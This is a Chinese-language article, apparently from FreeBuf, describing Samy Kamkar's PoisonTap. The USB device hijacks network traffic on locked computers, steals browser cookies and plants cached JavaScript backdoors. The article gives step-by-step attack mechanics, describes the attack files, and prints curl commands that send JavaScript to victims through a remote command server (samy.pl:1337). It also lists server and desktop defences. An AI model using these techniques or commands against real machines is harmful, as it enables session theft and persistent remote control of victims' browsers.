近日,著名硬件黑客Samy Kamkar利用5美元設備打造的黑客工具PoisonTap,只需30秒,就可以攻破設置有任意密碼的電腦系統,并實現長期后門安裝。PoisonTap不是暴力破解密碼,而是繞過密碼。
PoisonTap的標配:5美元的樹莓派微型電腦Raspberry Pi Zero、USB適配器、內置免費漏洞利用軟件。
目前,相關軟件和利用工具已在Github提供下載,Raspberry Pi Zero在某寶上也有售賣,感興趣的童鞋可以嘗試打造屬于自己的PoisonTap神器。
以下為PoisonTap官方Github介紹的工作機制,感嘆Samy Kamkar大神天馬行空的思維,同時也深諳自己技藝不精,不足之處,希望大家指正交流。
PoisonTap操作實現:
PoisonTap通吃Windows和Mac系統,一旦插入電腦,將偽裝模擬成新加入的以太網連接,即使受害者使用WIFI,一樣可以使系統優先接入其偽裝的虛假網絡。PoisonTap利用中間人攻擊方式,可以劫持監聽受害者所有網絡流量,竊取存儲在瀏覽器里的任意cookie和session,然后發送給控制端。以下為PoisonTap具體操作實現:
通過 USB或Thunderbolt模擬成新加入的以太網連接設備;
劫持目標系統所有網絡連接流量(即使是低優先級或未知的網絡連接)
竊取存儲在瀏覽器內相關Alexa排名前100萬網站cookie和session信息
識別目標網絡路由信息,通過遠程outbound方式進行WebSocket或DNS重綁定攻擊
通過HTTP的JS緩存中毒方式實現長期web后門安裝控制,這些緩存后門涉及上千個域名和通用javascript CDN 鏈接
使用用戶cookie對后端域名實現遠程HTTP GET或POST方式控制連接
不需要系統解鎖
移除攻擊載體后,后門保持有效
PoisonTap可以繞過或突破以下安全保護措施:
PoisonTap如何工作:
PoisonTap對系統和網絡安全信任機制的攻擊,將會產生一系列連鎖反應,利用USB/Thunderbolt、DHCP、DNS和HTTP方式,可以進行信息竊取、網絡入侵和后門安裝。
網絡劫持
1 攻擊者向有密碼保護并且鎖屏的電腦系統插入PoisonTap;
2 PoisonTap將會模擬偽裝成一個新加入系統的網絡連接,默認情況下,即使在有密碼保護的鎖屏狀態下,Windows、OS X 和Linux系統將會識別該虛假網絡連接,并發出DHCP請求;
3 PoisonTap響應DHCP請求,并提供一組經過構造,從0.0.0.0至255.255.255.255,與PoisonTap設備為同一子網的隨機IP地址組合; 通常,在系統使用現有網絡連接的情況下,一個附加網絡連接的加入,系統會把其默認為低優先級網絡,并繼續使用現有網絡網關。
但是,在基于”Internet traffic”的?“LANtraffic”情況下,任何路由表/網關優先級/網絡接口服務順序設置都可被繞過。
PoisonTap通過更改原網絡連接網關地址,把流量引入自身,進而劫持系統所有網絡流量。
Cookie竊取
只要目標系統運行有瀏覽器,打開網頁將會通過AJAX或動態腳本框架(script/iframes)產生各種請求,而由于系統網絡流量被完全劫持,
1 PoisonTap將會監聽到所有HTTP請求和響應,并將這些內容發送到PoisonTap的web服務端(Node.js);即使DNS服務器指向其它內部IP,由于這些內部DNS服務器將為緩存的域名產生公共IP地址,而這些IP地址已經被PoisonTap劫持,所以攻擊仍然有效
3 當Node web服務器接收到請求時,PoisonTap會通過HTML或Javascript進行響應(許多網站會在后臺請求中加載HTML或JS)
4 然后,HTML / JS-agnostic頁面會生成許多隱藏的iframe,每個iframe中又包括Alexa排名前100萬內的不同網站
1當PoisonTap生成上千個iframe之后,將會迫使瀏覽器加載每個iframe,但這些iframe不僅僅是空白頁面,而是無限緩存的HTML + Javascript后門
2 即使用戶當前未登錄,由于PoisonTap已經在每個緩存域名上強制綁定了這些后門,使攻擊者能夠使用Cookie并在將來啟動同源請求
例如,當加載http://nfl.com/PoisonTapiframe時,PoisonTap接受轉向的Internet流量,并通過Node Web服務器響應HTTP請求
添加了其它HTTP頭以無限緩存頁面
3 實際響應頁面是HTML和Javascript的組合,并由此產生持續有效的WebSocket連接攻擊者web服務器端(通過互聯網而不是PoisonTap設備)
WebSocket保持開放狀態,允許攻擊者在將來任何時候回連后端機器,并在任何有后門部署的源上執行請求(Alexa排名前100萬個網站-見下文)
如果后門在一個站點(如nfl.com)上打開,但用戶希望攻擊不同的域名(如pinterest.com),攻擊者可以將nfl.com上的iframe加載到pinterest.com后門中(http://pinterest.com/PoisonTap)
同樣,域上的任何“X-Frame-Options”、跨域資源共享和同源策略安全性完全被繞過,因為實際請求的是PoisonTap留下的緩存,而不是真正的域名
內部路由器后門和遠程訪問
當使用PoisonTap作為DNS服務器(受害者使用公共DNS服務器)時,PoisonTap使用臨時專門的IP(1.0.0.1)進行響應,這意味著此時任何請求都將訪問到PoisonTap Web服務器
如果DNS服務器設置為內部網絡(如192.168.0.x),1.0.0.1.pin.ip.samy.pl發出一個經過構造的請求,幾秒之后,它將會向我的專用DNS服務器(公網的)返回任意[ip.address].ip.samy.pl中的IP地址信息
然后,PoisonTap將會在http://192.168.0.1.ip.samy.pl/PoisonTap上快速設置一個后門,而在PoisonTap設備上將指向1.0.0.1,該后門將實現從PoisonTap設備訪問
構造請求與DNS服務器解析的對應關系
[ip.addy].ip.samy.pl normally responds with [ip.addy]
192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]
1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)
基于web遠程訪問的其它后門
1?PoisonTap替代了成千上萬常見的,基于CDN的Javascript文件,如Google和jQuery CDNs。如果一個網站或域名加載了受感染中毒的CDN Javascript文件,正確的代碼配合后門,就可以讓攻擊者實現入侵訪問
2?由于每個緩存的網站域名都留有后門,即使當前受害者沒有對任何域名執行訪問,攻擊者仍然可以遠程強制后端瀏覽器執行同源請求(AJAX GET / POST)
3?當受害者訪問基于HTTP或CDN Javascript緩存中毒的網站時,后門就被觸發
PosionTap安全防范
服務器安全
1 僅使用HTTPS,至少對認證和認證內容使用HTTPS
2確保啟用Cookie安全標記,防止HTTPS Cookie信息泄露
3 當調用遠程Javascript腳本資源時,請使用子資源完整性(SRI)標記屬性
4 使用HSTS防止HTTPS降級攻擊
桌面客戶端安全
1 有必要可以用粘合劑封住USB和Thunderbolt端口
2 每次離開電腦時關閉瀏覽器
3 禁用USB和Thunderbolt端口
4 經常清理瀏覽器的緩存數據
5 在不使用電腦時,讓電腦進入休眠狀態而不是睡眠狀態,在休眠狀態中,電腦中所有的進程都將停止工作,安全性更高
文件介紹:
backdoor.html:每當一個http://hostname/PoisonTapURL請求發生并竊取 cookie信息時,該文件作為返回的強制緩存內容,它包含一個后門并生成一個外連至samy.pl:1337(主機/端口可更改)的websocket,等待服務器命令。
backend_server.js:這是你在Internet可訪問的Node服務器,也是backdoor.html連接的內容(例如,samy.pl:1337)。 該服務器也用來發送命令,如:
# pop alert to victimcurl 'http://samy.pl:1337/exec?alert("muahahahaha")'# to set a cookie on victimcurl 'http://samy.pl:1337/exec?document.cookie="key=value"'# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
pi_poisontap.js:它通過Raspberry Pi Zero上的Node.js運行,為PoisonTap 的HTTP服務端截獲請求,存儲竊取Cookie并注入緩存后門
pi_startup.sh:在Raspberry Pi Zero上啟動時運行,將設備模擬為USB以太網配件,設置惡意DHCP服務器,允許流量重路由,DNS欺騙,并啟動pi_poisontap.js文件
target_backdoor.js: 此文件預先放在任何與CDN相關的Javascript文件中,通過Google CDN’s jQuery URL方式形成后門
target_injected_xhtmljs.html:在受害者系統中注入HTTP / AJAX請求并形成整個攻擊
poisontap.cookies.log: 記錄來自受害者瀏覽器的cookie
修復措施:
目前來說,PoisonTap因為是多種黑客技巧組合而成的攻擊,整個攻擊和利用過程不能明確反映某個產品或系統漏洞,所以,目前來說,沒有一種明確的修復措施。
但Kamkar提出了一種解決方案,希望在系統層面的網絡連接切換中加入權限許可機制,但是蘋果公司沒有對此作出回應,而微軟公司在給記者的回復郵件中表示,PoisonTap是一種物理接入攻擊。
所以,最好的防御策略就是自己保管好電腦并及時更新系統和軟件。
來源:FreeBuf